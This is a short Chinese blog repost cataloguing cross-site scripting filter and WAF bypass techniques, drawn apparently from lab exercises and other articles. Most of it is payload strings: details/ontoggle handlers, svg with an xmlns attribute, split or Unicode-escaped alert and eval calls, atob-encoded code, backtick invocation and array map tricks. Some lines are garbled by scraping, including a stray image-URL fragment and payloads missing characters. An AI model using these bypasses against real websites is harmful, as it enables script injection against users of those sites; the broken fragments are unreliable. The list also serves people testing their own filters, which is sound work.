XSS的一些绕过手法

◇◆丶佛笑我妖孽 提交于 2019-12-09 19:22:37

注:XSS我没有实战研究过所以大多都是靶场用的手法和别人的一些文章,可能实战的时候效果不好
1.绕过简单的xss防护

1.如果双引号被禁用就用单引号。
2.针对黑名单过滤,过滤一般不全,在过滤了img还有input或者div
3.过滤了onclik,onmouseover,可以尝试冷门的事件触发onmouseenter(注意冷门最好)
4.过滤了()可以尝试(),过滤了‘可以尝试反引号,这个是反引号`
5.过滤了alert,可以尝试confirm和prompt
6.大小写绕过
7.双写绕过

1.加上一个xmlns属性绕过

如果<svg onload="javascriptalert(1)">被拦截了
可以试试<svg onload="javascriptalert(1)"xmlns="https:www.baidu.com">

oZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMwNzg3NzY5,size_16,color_FFFFFF,t_70)
在这里插入图片描述2.top绕过
方法是:

<details open ontoggle=top.alert(1)>
<details open ontoggle=top[‘prompt’](1)>
<details open ontoggle=top[‘al’%2b’ert’](1)>    注:%2b为url编码的+

3.eval函数执行

<details open ontoggle=top.eval(‘ale’%2B’rt(1)’) >
<details open ontoggle=eval(‘alert(1)’) >
eval拦截的话,可以试试,把 e Unicode编码
<details open ontoggle=\u0065val(atob(‘YWxlcnQoMSk=’)) >

4.拦截了alert
当alert不行,可以考虑的有prompt,confirm

<details open ontoggle=prompt(1)>
<button onfocus=prompt(1) autofocus>
<select autofocus onfocus=prompt(1)>

5.反引号
如果存在alert函数,但是Waf并不拦截。但是当加上()括号,就拦截了。可以不试试反引号。例子:

<details/open/ontoggle="alert`1`">

6.map绕过
map返回一个数组,传入一个函数。
[1].map(alert)依赖map的特性,可以避免alert函数后面带有()括号,以此触发规则。
其他的例子:

  <details open ontoggle=[1].find(alert)>
  <details open ontoggle=[1].%65very(alert)>
  <details open ontoggle=[1].u0066orEach(alert)>
标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!